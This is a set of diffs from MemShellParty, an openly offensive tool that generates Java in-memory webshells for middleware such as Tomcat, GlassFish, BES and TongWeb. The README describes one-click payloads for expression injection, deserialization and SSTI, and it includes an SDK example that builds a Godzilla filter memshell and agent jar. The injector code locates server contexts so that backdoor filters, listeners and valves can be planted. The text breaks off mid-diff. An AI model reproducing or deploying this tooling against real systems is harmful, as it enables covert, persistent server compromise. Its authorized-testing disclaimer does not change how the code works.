assertEquals(HttpStatus.OK, response.getStatusCode());
assertNotNull(response.getBody());
assertEquals(ResponseBodyGenerator.getSupportedServers(), response.getBody());
}
}
}
@@ -8,12 +8,13 @@ import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.memshell.config.InjectorConfig;
import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.packer.Packers;
import org.junit.jupiter.api.BeforeEach;
import org.junit.jupiter.api.Test;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.boot.test.context.SpringBootTest;
import org.springframework.boot.test.web.client.TestRestTemplate;
import org.springframework.boot.test.web.server.LocalServerPort;
import org.springframework.http.HttpStatus;
import org.springframework.http.ResponseEntity;
import org.springframework.web.client.RestClient;
import static org.junit.jupiter.api.Assertions.assertEquals;
import static org.junit.jupiter.api.Assertions.assertNotNull;
@@ -25,8 +26,17 @@ import static org.junit.jupiter.api.Assertions.assertNotNull;
@SpringBootTest(webEnvironment = SpringBootTest.WebEnvironment.RANDOM_PORT)
class MemShellGeneratorControllerTest {
@Autowired
TestRestTemplate restTemplate;
@LocalServerPort
private int port;
private RestClient restClient;
@BeforeEach
void setUp() {
restClient = RestClient.builder()
.baseUrl("http://localhost:" + port)
.build();
}
@Test
void generateShell() {
@@ -50,9 +60,12 @@ class MemShellGeneratorControllerTest {
shellToolConfigDTO.setHeaderName("User-Agent");
shellToolConfigDTO.setHeaderValue("hello");
request.setShellToolConfig(shellToolConfigDTO);
ResponseEntity<MemShellGenerateResponse> response = restTemplate.postForEntity(
"/api/memshell/generate", request, MemShellGenerateResponse.class);
ResponseEntity<MemShellGenerateResponse> response = restClient.post()
.uri("/api/memshell/generate")
.body(request)
.retrieve()
.toEntity(MemShellGenerateResponse.class);
assertEquals(HttpStatus.OK, response.getStatusCode());
assertNotNull(response.getBody());
}
}
}
+1 -1
View File
@@ -9,7 +9,7 @@ idea {
}
}
version = "2.7.2"
version = "2.10.0"
tasks.register("publishAllToMavenCentral") {
dependsOn(":memshell-party-common:publishToMavenCentral")
+34 -332
View File
@@ -1,11 +1,6 @@
<h1 align="center">MemShellParty</h1>
<p align="center">English | <a href="../README.md">中文</a><br></p>
<div align="center">
[![ci-test](https://img.shields.io/github/actions/workflow/status/reajason/memshellparty/test.yaml?label=Test%20CI&branch=master&style=flat-square)](https://github.com/ReaJason/MemShellParty/actions/workflows/test.yaml)
[![ci-release](https://img.shields.io/github/actions/workflow/status/reajason/memshellparty/release.yaml?label=Release%20CD&style=flat-square)](https://github.com/ReaJason/MemShellParty/actions/workflows/release.yaml)
</div>
<p align="center"><a href="../README.md">中文</a> | English<br></p>
<div align="center">
@@ -17,49 +12,54 @@
<div align="center">
[![Telegram](https://img.shields.io/badge/Chat-Telegram-%2326A5E4?style=flat-square&logo=telegram&logoColor=%2326A5E4)](https://t.me/memshell)
[![OnlinePartyWebSite](https://img.shields.io/badge/WebSite-OnlineParty-%23646CFF?style=flat-square&logo=vite&logoColor=%23646CFF)](https://party.memshell.news)
[![OnlinePartyWebSite](https://img.shields.io/badge/WebSite-OnlineParty-%23646CFF?style=flat-square&logo=vite&logoColor=%23646CFF)](https://party.mem.mk)
</div>
> [!WARNING]
> This tool is intended only for security researchers, network administrators, and related technical personnel for authorized security testing, vulnerability assessment, and security auditing purposes. Using this tool for any unauthorized network attacks or penetration testing activities is illegal, and users are solely responsible for any resulting legal consequences.
> This tool is intended only for security researchers, network administrators, and related technical personnel for authorized security testing, vulnerability assessment, and security auditing. Using this tool for any unauthorized network attack or penetration test is illegal, and users must bear the corresponding legal responsibility.
> [!TIP]
> As I primarily focus on security product development and lack extensive real-world combat experience, please feel free to raise an issue or join the [Telegram group](https://t.me/memshell) if you have questions about usage, implementation, or adaptation requests. Let's learn and exchange ideas together!
> Since I mainly work on security product development and do not have practical offensive experience, please feel free to open an issue or join the Telegram group if you have questions about usage, implementation, or adaptation requests. You are welcome to learn and exchange ideas together.
MemShellParty is a self-hosted, visual platform for one-click generation of java memshell for common middleware and frameworks. It also aims to be a comprehensive learning platform for java memshell. In an era full of wheels, it's time to build the car and accelerate together!
MemShellParty is a fast memshell generation tool focused on mainstream web middleware. It is designed to simplify the workflow of security researchers and red team members, improving offensive and defensive efficiency.
What you can learn or try from this project:
1. Learn to write java memshell for common middleware and frameworks.
2. Learn to use [Testcontainers](https://testcontainers.com/) for Java application integration testing.
3. Learn to use GitHub Actions for CI/CD, write CHANGELOG, and automate Release publications via CI.
4. Try using [Byte Buddy](https://bytebuddy.net/) to generate classes and write Agents.
5. Try using Gradle to build Java projects (using platform for dependency version management, toolchain to compile JDK 6 source code even in a JDK 17 environment within the root project).
![normal_generator](../assets/normal_generator.png)
![agent_generator](../assets/agent_generator.png)
<p align="center">
<img src="../assets/normal_memshell.png" alt="normal_memshell" width="24%">
<img src="../assets/agent_memshell.png" alt="agent_memshell" width="24%">
<img src="../assets/dnslog_probe.png" alt="dnslog_probe" width="24%">
<img src="../assets/about_page.png" alt="about_page" width="24%">
</p>
## Key Features
- Non-Intrusive: Generated memshell do not interfere with the normal traffic of the target middleware, even when multiple different shells are injected simultaneously.
- High Availability: Comes with comprehensive [CI integration tests](https://github.com/ReaJason/MemShellParty/actions/workflows/test.yaml)
- Minimal Size: Strives to minimize memshell size for efficient transfer.
- Strong Compatibility: Covers common middleware and frameworks encountered in offensive and defensive scenarios.
- **Non-intrusive**: Generated memshells do not affect normal target middleware traffic, even when more than a dozen different memshells are injected at the same time.
- **Strong compatibility**: Covers common middleware and frameworks in offensive and defensive scenarios, and supports JDK6 through JDK21.
- **High availability**: A comprehensive automated test matrix has been built for all supported middleware and frameworks, ensuring each generated payload has high usability and stability while reducing uncertainty in real-world use.
- **Extremely lightweight**: Through deeply optimized bytecode generation strategies, MemShellParty greatly reduces memshell size compared with traditional tools such as JMG. Regular memshells are reduced by **30%**, and Agent memshells are reduced by **80%** using ASM.
- **One-click simplicity**: Built-in payload generation is provided for common vulnerabilities such as expression injection, deserialization, and SSTI. The system automatically configures Java module restriction bypasses and dynamically generates the optimal attack payload, enabling one-click generation for common vulnerability payloads.
- **High flexibility**: Natively supports common memshell capabilities such as Godzilla, Behinder, AntSword, Suo5, and NeoreGeorg. With the highly flexible custom memshell upload feature, any customized payload can be integrated into the MemShellParty generation system to build an attack platform that best fits your tactical needs.
## Quick Start
### Online Preview
### Read Before Use
> Suitable for users who just want to try it out. Please use with caution on public services, as generated memshell might potentially contain backdoors if the service is compromised.
[Compatibility](https://party.mem.mk/ui/docs/compatibility) helps you understand MemShellParty's adaptation status for each service, so you can choose the right service type for different applications.
Access directly at [https://party.memshell.news](https://party.memshell.news). The latest image is automatically deployed with each release.
The probe memshell maps detected service types one by one. The detected service type is the service type that can be used to generate memshells. This is not necessarily the middleware type. For example, Apusic10 is detected as GlassFish because it is developed based on GlassFish.
### Online Site
> Only for users who want to try it out. Please use caution with other publicly exposed services, as generated memshells may contain backdoors.
You can access the master branch at [https://party.mem.mk](https://party.mem.mk). The latest image is automatically deployed for each release.
For features under development, you can try the dev branch early at [https://dev-party.mem.mk](https://dev-party.mem.mk).
### Local Deployment (Recommended)
> Ideal for quick deployment on internal networks or local machines. Using Docker is fast and convenient.
> Suitable for quick internal network or local deployment. Starting the service directly with Docker is fast and convenient.
After deploying with Docker, access the service at http://127.0.0.1:8080
After deploying with Docker, access http://127.0.0.1:8080
```bash
# Pull the latest image from Docker Hub
@@ -68,312 +68,14 @@ docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party reajason
# Pull the latest image from Github Container Registry
docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.io/reajason/memshell-party:latest
# If network quality is poor, use the Nanjing University Github Container Registry mirror
# Poor network quality? Use the Nanjing University Github Container Registry mirror
docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.nju.edu.cn/reajason/memshell-party:latest
```
The image is stateless. To update to the latest version, simply remove the old container and create a new one:
```bash
# Remove the previously deployed container
docker rm -f memshell-party
# Use the previous deployment command to redeploy (it will automatically pull the latest image)
docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party reajason/memshell-party:latest
```
### SDK Integration into Existing Tools
> Suitable for integrating memshell payload generation into your existing tools. Supports JDK 8 and above (since v1.7.0).
1. Add the dependency using Maven or Gradle:
```xml
<!-- Maven Repo-->
<dependency>
<groupId>io.github.reajason</groupId>
<artifactId>generator</artifactId>
<version>1.7.0</version>
</dependency>
```
```groovy
// Gradle Repo
implementation 'io.github.reajason:generator:1.7.0'
```
2. Example1: Generate a Tomcat Godzilla Filter memory shell:
```java
ShellConfig shellConfig = ShellConfig.builder()
.server(Server.Tomcat)
.shellTool(ShellTool.Godzilla)
.shellType(ShellType.FILTER)
.shrink(true) // Shrink bytecode size
.debug(false) // Disable debug mode
.build();
InjectorConfig injectorConfig = InjectorConfig.builder()
// .urlPattern("/*") // Custom urlPattern, defaults to /*
// .shellClassName("com.example.memshell.GodzillaShell") // Custom shell class name, random if empty
// .injectorClassName("com.example.memshell.GodzillaInjector") // Custom injector class name, random if empty
.build();
GodzillaConfig godzillaConfig = GodzillaConfig.builder()
// .pass("pass")
// .key("key")
// .headerName("User-Agent")
// .headerValue("test")
.build();
GenerateResult result = MemShellGenerator.generate(shellConfig, injectorConfig, godzillaConfig);
System.out.println("Injector Class Name: "+result.getInjectorClassName());
System.out.println("MemShell Class Name: "+result.getShellClassName());
System.out.println(result.getShellConfig());
System.out.println(result.getShellToolConfig());
System.out.println("Base64 Packed: "+Packers.Base64.getInstance().pack(result));
System.out.println("ScriptEngine Packed: "+Packers.ScriptEngine.getInstance().pack(result));
```
3. Example2: Generate a Tomcat Godzilla AgentFilterChain memory shell (Agent type):
```java
ShellConfig shellConfig = ShellConfig.builder()
.server(Server.Tomcat)
.shellTool(ShellTool.Godzilla)
.shellType(ShellType.AGENT_FILTER_CHAIN)
.shrink(true) // Shrink bytecode size
.debug(false) // Disable debug mode
.build();
InjectorConfig injectorConfig = InjectorConfig.builder()
// .urlPattern("/*") // Custom urlPattern, defaults to /*
// .shellClassName("com.example.memshell.GodzillaShell") // Custom shell class name, random if empty
// .injectorClassName("com.example.memshell.GodzillaInjector") // Custom injector class name, random if empty
.build();
GodzillaConfig godzillaConfig = GodzillaConfig.builder()
// .pass("pass")
// .key("key")
// .headerName("User-Agent")
// .headerValue("test")
.build();
GenerateResult result = MemShellGenerator.generate(shellConfig, injectorConfig, godzillaConfig);
System.out.println("Injector Class Name: " + result.getInjectorClassName());
System.out.println("MemShell Class Name: " + result.getShellClassName());
System.out.println(result.getShellConfig());
System.out.println(result.getShellToolConfig());
byte[] agentJarBytes = ((JarPacker) Packers.AgentJar.getInstance()).packBytes(result);
Files.write(Paths.get("agent.jar"), agentJarBytes);
```
4. For a unified generation interface example, refer to [GeneratorController.java](../boot/src/main/java/com/reajason/javaweb/boot/controller/GeneratorController.java)
## Compatibility
Compatible with Java6 ~ Java8, Java9, Java11, Java17, Java21
### Middleware and Frameworks
| Tomcat5 ~ 11 | Jetty6 ~ 11 | GlassFish3 ~ 7 | Payara5 ~ 6 |
|----------------------|------------------------|----------------------|----------------------|
| Servlet | Servlet | Filter | Filter |
| Filter | Filter | Listener | Listener |
| Listener | Listener | Valve | Valve |
| Valve | ServletHandler - Agent | FilterChain - Agent | FilterChain - Agent |
| ProxyValve | | | |
| FilterChain - Agent | | ContextValve - Agent | ContextValve - Agent |
| ContextValve - Agent | | | |
| Resin3 ~ 4 | SpringMVC | SpringWebFlux | XXL-JOB |
|---------------------|--------------------------|-----------------|--------------|
| Servlet | Interceptor | WebFilter | NettyHandler |
| Filter | ControllerHandler | HandlerMethod | |
| Listener | FrameworkServlet - Agent | HandlerFunction | |
| FilterChain - Agent | | NettyHandler | |
| JBossAS4 ~ 7 | JBossEAP6 ~ 7 | WildFly9 ~ 30 | Undertow |
|----------------------|----------------------------|------------------------|------------------------|
| Filter | Filter | Servlet | Servlet |
| Listener | Listener | Filter | Filter |
| Valve | Valve(6) | Listener | Listener |
| ProxyValve | | | |
| FilterChain - Agent | FilterChain - Agent (6) | ServletHandler - Agent | ServletHandler - Agent |
| ContextValve - Agent | ContextValve - Agent (6) | | |
| | ServletHandler - Agent (7) | | |
| WebSphere7 ~ 9 | WebLogic 10.3.6 ~ 14 |
|-----------------------|-------------------------|
| Servlet | Servlet |
| Filter | Filter |
| Listener | Listener |
| FilterManager - Agent | ServletContext - Agent |
| BES9.5.x | TongWeb6 ~ 8 | InforSuite AS 9 ~ 10 |
|----------------------|----------------------|------------------------|
| Filter | Filter | Filter |
| Listener | Listener | Listener |
| Valve | Valve | Valve |
| FilterChain - Agent | FilterChain - Agent | FilterChain - Agent |
| ContextValve - Agent | ContextValve - Agent | ContextValve - Agent |
| Apusic AS 9 ~ 10 | Primeton6.5 |
|---------------------|----------------------|
| Servlet | Filter |
| Filter | Listener |
| Listener | Valve |
| FilterChain - Agent | FilterChain - Agent |
| | ContextValve - Agent |
### MemShell Functionality
- [x] [Godzilla](https://github.com/BeichenDream/Godzilla)
- [x] [Behinder](https://github.com/rebeyond/Behinder)
- [x] Command Execution
- [x] [Suo5](https://github.com/zema1/suo5)
- [x] [AntSword](https://github.com/AntSwordProject/antSword)
- [x] [Neo-reGeorg](https://github.com/L-codes/Neo-reGeorg)
- [x] Custom
### Packaging Methods
- [x] BASE64
- [x] GZIP BASE64
- [x] JSP
- [x] JSPX
- [x] JAR
- [x] BCEL
- [x] Built-in ScriptEngine, Rhino ScriptEngine
- [x] EL、SpEL、OGNL、Aviator、MVEL、JEXL、Groovy、JXPath、BeanShell
- [x] Velocity、Freemarker、JinJava
- [x] Native DeserializationCB and CC
- [x] Agent
- [x] XXL-JOB Executor
- [x] Hessian, Hessian2 Deserialization (XSLT gadget chain)
- [ ] JNDI
- [ ] JDBC Connection
- [ ] Other common deserialization
## Local Build
### Building from Source Code
> Suitable for developers who want to modify the code. Clone the repository locally and build the frontend and backend projects.
First, you need to download and install [bun](https://bun.sh/), a tool for building the frontend service.
1. Clone the project using Git:
```bash
git clone https://github.com/ReaJason/MemShellParty.git
```
2. Build the frontend project. After the build finishes, static resources will be automatically moved to the Spring Boot module.
```bash
cd MemShellParty/web
bun install
bun run build
```
3. Build the backend project. Ensure you are using a JDK 17 environment.
```bash
cd MemShellParty/boot
./gradlew :boot:bootjar -x test
```
After building, you can directly run the JAR file located at `MemShellParty/boot/build/libs/boot-*.jar` (the exact version might vary).
```bash
cd MemShellParty/boot
java -jar \
--add-opens=java.base/java.util=ALL-UNNAMED \
--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \
build/libs/boot-1.0.0.jar
```
Alternatively, you can build a Docker container from the built artifacts:
```bash
cd MemShellParty/boot
docker buildx build -t memshell-party:latest . --load
docker run -it -d --name memshell-party -p 8080:8080 memshell-party:latest
```
### Building with Dockerfile Directly
> Suitable for users who want to build with custom access paths, for example, when using NGINX as a reverse proxy ([#44](https://github.com/ReaJason/MemShellParty/issues/44)).
Download the [Dockerfile](../Dockerfile) from the project root.
- VERSION: Version information (arbitrary, suggest using the latest tag; used for frontend display).
- ROUTE_ROOT_PATH: Frontend root route configuration (e.g., /memshell-party).
- CONTEXT_PATH: Backend access prefix (e.g., /memshell-party).
```bash
# Basic build (defaults to root path "/")
docker buildx build \
--build-arg VERSION=1.7.0 \
-t memshell-party:latest . --load
# Run the basic image, access at http://127.0.0.1:8080
docker run -it -d -p 8080:8080 memshell-party:latest
# Build with custom access path (e.g., /memshell-party)
docker buildx build \
--build-arg VERSION=1.7.0 \
--build-arg ROUTE_ROOT_PATH=/memshell-party \
--build-arg CONTEXT_PATH=/memshell-party \
-t memshell-party:latest . --load
# Run the custom path image, access at http://127.0.0.1:8080/memshell-party
docker run -it -p 8080:8080 \
-e BOOT_OPTS=--server.servlet.context-path=/memshell-party \
memshell-party:latest
```
If you need to use NGINX as a reverse proxy, first build the container with a custom access path. Then configure NGINX similar to the following:
Ensure that the `location /memshell-party``ROUTE_ROOT_PATH=/memshell-party``CONTEXT_PATH=/memshell-party` and
`BOOT_OPTS=--server.servlet.context-path=/memshell-party` all use the same path.
```text
location /memshell-party {
proxy_pass http://127.0.0.1:8080;
proxy_set_header Host $http_host;
proxy_set_header X-Forwarded-By $server_addr:$server_port;
proxy_set_header X-Forwarded-For $remote_addr;
proxy_http_version 1.1;
proxy_connect_timeout 3s;
proxy_read_timeout 300s;
proxy_send_timeout 300s;
proxy_buffer_size 16k;
proxy_buffers 8 64k;
proxy_busy_buffers_size 128k;
}
```
## Contribute
> Any feedback or issue discussion you provide is a contribution to this project.
> It will be so nice if you want to contribute. 🎉
1. If you have strong Docker environment building skills, consider adding integration test cases related to specific CVEs.
2. If you are skilled in writing memory shells, try adding support for a new type or target.
3. If you have extensive practical experience, feel free to open issues with suggestions or improvements.
For project structure, build processes, and compilation details, please refer to [CONTRIBUTING.md](../CONTRIBUTING.md)。
## Thanks
## Special Thanks
- [vulhub/java-chains](https://github.com/vulhub/java-chains)
- [pen4uin/java-memshell-generator](https://github.com/pen4uin/java-memshell-generator)
- [pen4uin/java-echo-generator](https://github.com/pen4uin/java-echo-generator)
### Let's start the party 🎉
@@ -7,9 +7,11 @@ package com.reajason.javaweb;
public class Server {
public static final String Tomcat = "Tomcat";
public static final String Jetty = "Jetty";
public static final String Jetty5 = "Jetty5";
public static final String Undertow = "Undertow";
public static final String JBoss = "JBoss";
public static final String Resin = "Resin";
public static final String Resin2 = "Resin2";
public static final String WebLogic = "WebLogic";
public static final String WebSphere = "WebSphere";
public static final String GlassFish = "GlassFish";
@@ -33,9 +33,11 @@ public class ServerFactory {
static {
register(Server.Tomcat, Tomcat::new);
register(Server.Jetty, Jetty::new);
register(Server.Jetty5, Jetty5::new);
register(Server.Undertow, Undertow::new);
register(Server.JBoss, Jboss::new);
register(Server.Resin, Resin::new);
register(Server.Resin2, Resin2::new);
register(Server.WebLogic, WebLogic::new);
register(Server.WebSphere, WebSphere::new);
register(Server.GlassFish, GlassFish::new);
@@ -83,6 +85,8 @@ public class ServerFactory {
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Godzilla.class)
.addShellClass(WAS_AGENT_FILTER_MANAGER, Godzilla.class)
.addShellClass(ACTION, GodzillaStruts2Action.class)
.addShellClass(ALIBABA_DUBBO_SERVICE, GodzillaDubboService.class)
.addShellClass(APACHE_DUBBO_SERVICE, GodzillaDubboService.class)
.build());
addToolMapping(ShellTool.Behinder, ToolMapping.builder()
@@ -7,12 +7,14 @@ package com.reajason.javaweb.memshell;
public class ServerType {
public static final String TOMCAT = "Tomcat";
public static final String JETTY = "Jetty";
public static final String JETTY5 = "Jetty5";
public static final String JBOSS_AS = "JBossAS";
public static final String JBOSS_EAP6 = "JBossEAP6";
public static final String UNDERTOW = "Undertow";
public static final String JBOSS_EAP7 = "JBossEAP7";
public static final String WILDFLY = "Wildfly";
public static final String RESIN = "Resin";
public static final String RESIN2 = "Resin2";
public static final String GLASSFISH = "Glassfish";
public static final String PAYARA = "Payara";
public static final String WEBLOGIC = "WebLogic";
@@ -23,6 +23,10 @@ public abstract class ByteBuddyShellGenerator<T extends ShellToolConfig> impleme
protected abstract DynamicType.Builder<?> getBuilder();
protected int getTargetJreVersion() {
return shellConfig.getTargetJreVersion();
}
protected byte[] postProcessBytes(byte[] classBytes) {
return classBytes;
}
@@ -43,7 +47,7 @@ public abstract class ByteBuddyShellGenerator<T extends ShellToolConfig> impleme
builder = ProcessorRegistry.applyBuilderProcessors(builder, shellConfig, shellToolConfig)
.name(shellClassName)
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()));
.visit(new TargetJreVersionVisitorWrapper(getTargetJreVersion()));
try (DynamicType.Unloaded<?> unloaded = builder.make()) {
byte[] bytes = postProcessBytes(unloaded.getBytes());
@@ -7,6 +7,10 @@ import net.bytebuddy.description.type.TypeDescription;
import net.bytebuddy.dynamic.ClassFileLocator;
import net.bytebuddy.dynamic.DynamicType;
import net.bytebuddy.jar.asm.ClassReader;
import net.bytebuddy.jar.asm.ClassVisitor;
import net.bytebuddy.jar.asm.Label;
import net.bytebuddy.jar.asm.MethodVisitor;
import net.bytebuddy.jar.asm.Opcodes;
import net.bytebuddy.pool.TypePool;
import org.apache.commons.lang3.StringUtils;
@@ -17,6 +21,7 @@ import java.util.Base64;
* @since 2025/3/18
*/
public class CustomShellGenerator extends ByteBuddyShellGenerator<CustomConfig> {
private boolean containsSubroutines;
public CustomShellGenerator(ShellConfig shellConfig, CustomConfig customConfig) {
super(shellConfig, customConfig);
@@ -27,6 +32,7 @@ public class CustomShellGenerator extends ByteBuddyShellGenerator<CustomConfig>
String shellClassBase64 = shellToolConfig.getShellClassBase64();
byte[] classBytes = Base64.getDecoder().decode(shellClassBase64);
ClassReader classReader = new ClassReader(classBytes);
containsSubroutines = containsSubroutines(classReader);
String className = classReader.getClassName().replace('/', '.');
if (StringUtils.isBlank(shellToolConfig.getShellClassName())) {
shellToolConfig.setShellClassName(className);
@@ -43,4 +49,38 @@ public class CustomShellGenerator extends ByteBuddyShellGenerator<CustomConfig>
return new ByteBuddy()
.redefine(typeDescription, compoundLocator);
}
@Override
protected int getTargetJreVersion() {
// Byte Buddy cannot emit a class version newer than Java 5 when the
// source bytecode contains legacy jsr/ret subroutines. Keep such
// custom classes at Java 5; Java 6+ runtimes can load them as well.
return containsSubroutines ? Opcodes.V1_5 : super.getTargetJreVersion();
}
private static boolean containsSubroutines(ClassReader classReader) {
final boolean[] found = {false};
classReader.accept(new ClassVisitor(Opcodes.ASM9) {
@Override
public MethodVisitor visitMethod(int access, String name, String descriptor,
String signature, String[] exceptions) {
return new MethodVisitor(Opcodes.ASM9) {
@Override
public void visitJumpInsn(int opcode, Label label) {
if (opcode == Opcodes.JSR) {
found[0] = true;
}
}
@Override
public void visitVarInsn(int opcode, int var) {
if (opcode == Opcodes.RET) {
found[0] = true;
}
}
};
}
}, ClassReader.SKIP_DEBUG | ClassReader.SKIP_FRAMES);
return found[0];
}
}
@@ -45,6 +45,7 @@ public class ValveBuilderModifier implements Processor<DynamicType.Builder<?>> {
public static final String TONGWEB6_VALVE_PACKAGE = "com.tongweb.web.thor";
public static final String TONGWEB7_VALVE_PACKAGE = "com.tongweb.catalina";
public static final String TONGWEB8_VALVE_PACKAGE = "com.tongweb.server";
public static final String TONGWEB_EMBEDDED_VALVE_PACKAGE = "com.tongweb.container";
public static DynamicType.Builder<?> modifier(DynamicType.Builder<?> builder, AbstractServer shell, String serverVersion) {
String packageName = null;
@@ -53,7 +54,7 @@ public class ValveBuilderModifier implements Processor<DynamicType.Builder<?>> {
}
if (shell instanceof TongWeb) {
if (serverVersion == null) {
throw new GenerationException("serverVersion is needed for TongWeb Valve, please use one of ['6', '7', '8'] for shellConfig.serverVersion");
throw new GenerationException("serverVersion is needed for TongWeb Valve, please use one of ['6', '7', '8', '7.E'] for shellConfig.serverVersion");
}
switch (serverVersion) {
case "6":
@@ -65,8 +66,11 @@ public class ValveBuilderModifier implements Processor<DynamicType.Builder<?>> {
case "8":
packageName = TONGWEB8_VALVE_PACKAGE;
break;
case "7.E":
packageName = TONGWEB_EMBEDDED_VALVE_PACKAGE;
break;
default:
throw new GenerationException("TongWeb Valve unknow serverVersion: [" + serverVersion + "], please use one of ['6', '7', '8'] for shellConfig.serverVersion");
throw new GenerationException("TongWeb Valve unknow serverVersion: [" + serverVersion + "], please use one of ['6', '7', '8', '7.E'] for shellConfig.serverVersion");
}
}
if (StringUtils.isNotBlank(packageName)) {
@@ -85,10 +85,27 @@ public class BesFilterInjector {
for (Thread thread : threads) {
if (thread.getName().contains("ContainerBackgroundProcessor")) {
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
Collection<?> values = childrenMap.values();
for (Object value : values) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values());
for (Object value : childrenMap.values()) {
contexts.addAll(((Map<?, ?>) getFieldValue(value, "children")).values());
}
} else if (thread.getName().contains("AppServer-utility")) {
// BES 10 / BES 11: AppServer-utility thread fallback.
// BES 11 target has a wrappedRunnable field; BES 10 does not — try/catch handles both.
Object target = getFieldValue(thread, "target");
try {
target = getFieldValue(target, "wrappedRunnable");
} catch (Throwable ignored) {
}
Iterable<?> workQueue = (Iterable<?>) getFieldValue(getFieldValue(target, "this$0"), "workQueue");
for (Object task : workQueue) {
Object runnable = getFieldValue(getFieldValue(task, "callable"), "task");
if (!runnable.getClass().getSimpleName().contains("ContainerBackgroundProcessor")) {
continue;
}
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(runnable, "this$0"), "children");
for (Object host : childrenMap.values()) {
contexts.addAll(((Map<?, ?>) getFieldValue(host, "children")).values());
}
}
} else if (thread.getContextClassLoader() != null) {
String name = thread.getContextClassLoader().getClass().getSimpleName();
@@ -77,10 +77,27 @@ public class BesListenerInjector {
for (Thread thread : threads) {
if (thread.getName().contains("ContainerBackgroundProcessor")) {
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
Collection<?> values = childrenMap.values();
for (Object value : values) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values());
for (Object value : childrenMap.values()) {
contexts.addAll(((Map<?, ?>) getFieldValue(value, "children")).values());
}
} else if (thread.getName().contains("AppServer-utility")) {
// BES 10 / BES 11: AppServer-utility thread fallback.
// BES 11 target has a wrappedRunnable field; BES 10 does not — try/catch handles both.
Object target = getFieldValue(thread, "target");
try {
target = getFieldValue(target, "wrappedRunnable");
} catch (Throwable ignored) {
}
Iterable<?> workQueue = (Iterable<?>) getFieldValue(getFieldValue(target, "this$0"), "workQueue");
for (Object task : workQueue) {
Object runnable = getFieldValue(getFieldValue(task, "callable"), "task");
if (!runnable.getClass().getSimpleName().contains("ContainerBackgroundProcessor")) {
continue;
}
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(runnable, "this$0"), "children");
for (Object host : childrenMap.values()) {
contexts.addAll(((Map<?, ?>) getFieldValue(host, "children")).values());
}
}
} else if (thread.getContextClassLoader() != null) {
String name = thread.getContextClassLoader().getClass().getSimpleName();
@@ -76,10 +76,27 @@ public class BesValveInjector {
for (Thread thread : threads) {
if (thread.getName().contains("ContainerBackgroundProcessor")) {
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
Collection<?> values = childrenMap.values();
for (Object value : values) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values());
for (Object value : childrenMap.values()) {
contexts.addAll(((Map<?, ?>) getFieldValue(value, "children")).values());
}
} else if (thread.getName().contains("AppServer-utility")) {
// BES 10 / BES 11: AppServer-utility thread fallback.
// BES 11 target has a wrappedRunnable field; BES 10 does not — try/catch handles both.
Object target = getFieldValue(thread, "target");
try {
target = getFieldValue(target, "wrappedRunnable");
} catch (Throwable ignored) {
}
Iterable<?> workQueue = (Iterable<?>) getFieldValue(getFieldValue(target, "this$0"), "workQueue");
for (Object task : workQueue) {
Object runnable = getFieldValue(getFieldValue(task, "callable"), "task");
if (!runnable.getClass().getSimpleName().contains("ContainerBackgroundProcessor")) {
continue;
}
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(runnable, "this$0"), "children");
for (Object host : childrenMap.values()) {
contexts.addAll(((Map<?, ?>) getFieldValue(host, "children")).values());
}
}
} else if (thread.getContextClassLoader() != null) {
String name = thread.getContextClassLoader().getClass().getSimpleName();
@@ -87,16 +87,58 @@ public class GlassFishFilterInjector {
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
if (thread.getName().contains("ContainerBackgroundProcessor")) {
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
Object target = getThreadTarget(thread);
if (target == null) {
continue;
}
Object container = getContainerFromProcessor(target);
if (container == null) {
continue;
}
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(container, "children");
if (childrenMap == null) {
continue;
}
for (Object value : childrenMap.values()) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values());
if (children != null) {
contexts.addAll(children.values());
}
}
}
}
return contexts;
}
private Object getThreadTarget(Thread thread) throws Exception {
Object target = getFieldValue(thread, "target");
if (target == null) {
// JDK 21+
Object holder = getFieldValue(thread, "holder");
if (holder != null) {
target = getFieldValue(holder, "task");
}
}
return target;
}
/**
* Older GlassFish/Payara: ContainerBackgroundProcessor.this$0
* Payara 6.2024+/7: ContainerBackgroundProcessorAtomic.base (WeakReference)
*/
private Object getContainerFromProcessor(Object target) throws Exception {
Object container = getFieldValue(target, "this$0");
if (container != null) {
return container;
}
Object atomic = getFieldValue(target, "containerBackgroundProcessorAtomic");
Object base = atomic != null ? getFieldValue(atomic, "base") : getFieldValue(target, "base");
if (base instanceof java.lang.ref.Reference) {
return ((java.lang.ref.Reference<?>) base).get();
}
return base;
}
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
try {
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
@@ -76,7 +76,15 @@ public class GlassFishValveInjector {
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
if (thread.getName().contains("ContainerBackgroundProcessor")) {
